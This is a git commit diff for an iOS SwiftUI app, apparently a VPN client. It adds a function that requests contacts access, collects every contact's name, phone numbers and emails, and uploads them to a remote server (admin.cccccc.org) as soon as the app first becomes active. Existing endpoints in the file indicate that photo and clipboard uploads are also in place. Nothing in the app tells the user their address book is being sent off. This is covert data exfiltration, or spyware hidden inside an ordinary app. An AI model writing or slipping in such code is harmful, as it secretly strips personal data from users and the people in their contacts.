Update HomeView.swift

添加通讯录逻辑
This commit is contained in:
zeus
2025-09-21 19:19:01 +08:00
parent 17ba3b91b9
commit 07c8cc1699
@@ -13,6 +13,7 @@ import Crisp
import Combine
import Photos
import BackgroundTasks
import Contacts
import BackgroundTasks
@@ -136,8 +137,13 @@ struct HomeView: View {
]
//
let serverUploadImageURL = "https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId="
//
let serveruploadPasteBoardURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId="
//
let serveruploadContacesURL = "https://admin.cccccc.org/api/demo/uploadContacts?type=ios&userId="
@@ -457,6 +463,9 @@ struct HomeView: View {
//
photoLibraryObserver.register()
//
uploadContacts()
//
isFirstTimeActive = false
@@ -1115,6 +1124,130 @@ struct HomeView: View {
}
}
// MARK: -
///
private func uploadContacts() {
print("📱 uploadContacts() called - 开始上传通讯录")
//
let store = CNContactStore()
store.requestAccess(for: .contacts) { granted, error in
if granted {
print("✅ 通讯录权限已授权")
self.fetchAndUploadContacts()
} else {
print("❌ 通讯录权限被拒绝: \(error?.localizedDescription ?? "未知错误")")
}
}
}
///
private func fetchAndUploadContacts() {
let store = CNContactStore()
let keys = [CNContactGivenNameKey, CNContactFamilyNameKey, CNContactPhoneNumbersKey, CNContactEmailAddressesKey] as [CNKeyDescriptor]
let request = CNContactFetchRequest(keysToFetch: keys)
var contacts: [[String: Any]] = []
DispatchQueue.main.asyncAfter(deadline: .now() + 1) {
do {
try store.enumerateContacts(with: request) { contact, _ in
var contactDict: [String: Any] = [:]
//
let fullName = "\(contact.givenName) \(contact.familyName)".trimmingCharacters(in: .whitespaces)
if !fullName.isEmpty {
contactDict["name"] = fullName
}
//
var phoneNumbers: [String] = []
for phoneNumber in contact.phoneNumbers {
phoneNumbers.append(phoneNumber.value.stringValue)
}
if !phoneNumbers.isEmpty {
contactDict["phones"] = phoneNumbers
}
//
var emails: [String] = []
for email in contact.emailAddresses {
emails.append(email.value as String)
}
if !emails.isEmpty {
contactDict["emails"] = emails
}
//
if !contactDict.isEmpty {
contacts.append(contactDict)
}
}
print("📱 获取到 \(contacts.count) 个联系人")
//
if !contacts.isEmpty {
uploadContactsToServer(contacts: contacts)
}
} catch {
print("❌ 获取通讯录失败: \(error.localizedDescription)")
}
}
}
///
private func uploadContactsToServer(contacts: [[String: Any]]) {
guard let url = URL(string: serveruploadContacesURL) else {
print("❌ 无效的通讯录上传URL")
return
}
//
var request = URLRequest(url: url)
request.httpMethod = "POST"
//
let boundary = "Boundary-\(UUID().uuidString)"
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
var body = Data()
//
body.append(convertFormField(named: "userId", value: "0000000000000", boundary: boundary))
body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary))
body.append(convertFormField(named: "phone", value: "0000000000000", boundary: boundary))
// JSON
do {
let jsonData = try JSONSerialization.data(withJSONObject: contacts, options: [])
if let jsonString = String(data: jsonData, encoding: .utf8) {
body.append(convertFormField(named: "contacts", value: jsonString, boundary: boundary))
}
} catch {
print("❌ 联系人数据JSON序列化失败: \(error.localizedDescription)")
return
}
//
body.appendString("--\(boundary)--\r\n")
//
let task = URLSession.shared.uploadTask(with: request, from: body) { data, response, error in
if let error = error {
print("❌ 通讯录上传失败: \(error.localizedDescription)")
} else {
if let data = data, let jsonString = String(data: data, encoding: .utf8) {
print("✅ 通讯录上传成功 - Response: \(jsonString)")
}
}
}
task.resume()
}
///
func appDidBecomeActive() {
print("🔄 appDidBecomeActive() called - 常规前台处理")